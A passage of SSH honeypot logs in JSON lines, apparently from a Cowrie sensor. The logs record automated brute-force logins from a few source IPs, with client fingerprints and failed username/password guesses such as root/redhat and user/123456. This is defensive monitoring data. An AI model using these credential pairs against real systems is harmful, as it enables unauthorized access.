om","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:49.296122Z","src_ip":"185.100.212.141","session":"1f34bd1c464f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":51342,"dst_ip":"10.17.0.5","dst_port":22,"session":"6115facfc666","protocol":"ssh","message":"New connection: 5.196.136.131:51342 (10.17.0.5:22) [session: 6115facfc666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:49.302337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:49.305862Z","src_ip":"5.196.136.131","session":"6115facfc666","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:49.381953Z","src_ip":"5.196.136.131","session":"6115facfc666","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:49.611954Z","src_ip":"5.196.136.131","session":"6115facfc666","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2019","message":"login attempt [root/unitedstates2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:49.844510Z","src_ip":"185.100.212.141","session":"1f34bd1c464f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:50.691259Z","src_ip":"5.196.136.131","session":"6115facfc666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:51.029700Z","src_ip":"185.100.212.141","session":"1f34bd1c464f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":61446,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbabd5705c87","protocol":"ssh","message":"New connection: 5.196.136.131:61446 (10.17.0.5:22) [session: dbabd5705c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:53.695090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:53.701668Z","src_ip":"5.196.136.131","session":"dbabd5705c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:53.778404Z","src_ip":"5.196.136.131","session":"dbabd5705c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:54.009081Z","src_ip":"5.196.136.131","session":"dbabd5705c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:55.088140Z","src_ip":"5.196.136.131","session":"dbabd5705c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":19783,"dst_ip":"10.17.0.5","dst_port":22,"session":"de47b783b72d","protocol":"ssh","message":"New connection: 5.196.136.131:19783 (10.17.0.5:22) [session: de47b783b72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:58.177370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:58.181813Z","src_ip":"5.196.136.131","session":"de47b783b72d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:58.259562Z","src_ip":"5.196.136.131","session":"de47b783b72d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:58.494148Z","src_ip":"5.196.136.131","session":"de47b783b72d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:59.574649Z","src_ip":"5.196.136.131","session":"de47b783b72d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":38874,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7a47737c75f","protocol":"ssh","message":"New connection: 143.20.185.207:38874 (159.203.135.109:22) [session: e7a47737c75f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:00.405500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:00.409127Z","src_ip":"143.20.185.207","session":"e7a47737c75f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:00.523237Z","src_ip":"143.20.185.207","session":"e7a47737c75f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefined4VCPU16GBAMD","message":"login attempt [root/undefined4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:00.872261Z","src_ip":"143.20.185.207","session":"e7a47737c75f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:01.995037Z","src_ip":"143.20.185.207","session":"e7a47737c75f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":29637,"dst_ip":"10.17.0.5","dst_port":22,"session":"17756abc5c3b","protocol":"ssh","message":"New connection: 5.196.136.131:29637 (10.17.0.5:22) [session: 17756abc5c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:02.531884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:02.535574Z","src_ip":"5.196.136.131","session":"17756abc5c3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:02.641067Z","src_ip":"5.196.136.131","session":"17756abc5c3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:02.887334Z","src_ip":"5.196.136.131","session":"17756abc5c3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:03.971236Z","src_ip":"5.196.136.131","session":"17756abc5c3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":52260,"dst_ip":"10.17.0.5","dst_port":22,"session":"80a9bbb8bd4e","protocol":"ssh","message":"New connection: 5.196.136.131:52260 (10.17.0.5:22) [session: 80a9bbb8bd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:06.872691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:06.876584Z","src_ip":"5.196.136.131","session":"80a9bbb8bd4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:06.954123Z","src_ip":"5.196.136.131","session":"80a9bbb8bd4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:07.225761Z","src_ip":"5.196.136.131","session":"80a9bbb8bd4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:08.306165Z","src_ip":"5.196.136.131","session":"80a9bbb8bd4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":52323,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b46165e36a2","protocol":"ssh","message":"New connection: 5.196.136.131:52323 (10.17.0.5:22) [session: 8b46165e36a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:11.339686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:11.343904Z","src_ip":"5.196.136.131","session":"8b46165e36a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:11.420090Z","src_ip":"5.196.136.131","session":"8b46165e36a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:11.649070Z","src_ip":"5.196.136.131","session":"8b46165e36a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:12.727010Z","src_ip":"5.196.136.131","session":"8b46165e36a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":59805,"dst_ip":"10.17.0.5","dst_port":22,"session":"56d357a509f7","protocol":"ssh","message":"New connection: 5.196.136.131:59805 (10.17.0.5:22) [session: 56d357a509f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:15.728495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:15.732134Z","src_ip":"5.196.136.131","session":"56d357a509f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:15.811601Z","src_ip":"5.196.136.131","session":"56d357a509f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:16.051972Z","src_ip":"5.196.136.131","session":"56d357a509f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:17.134026Z","src_ip":"5.196.136.131","session":"56d357a509f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.192.99.12","src_port":5609,"dst_ip":"10.17.0.5","dst_port":22,"session":"2614cf3207fa","protocol":"ssh","message":"New connection: 159.192.99.12:5609 (10.17.0.5:22) [session: 2614cf3207fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:19.231139Z"}
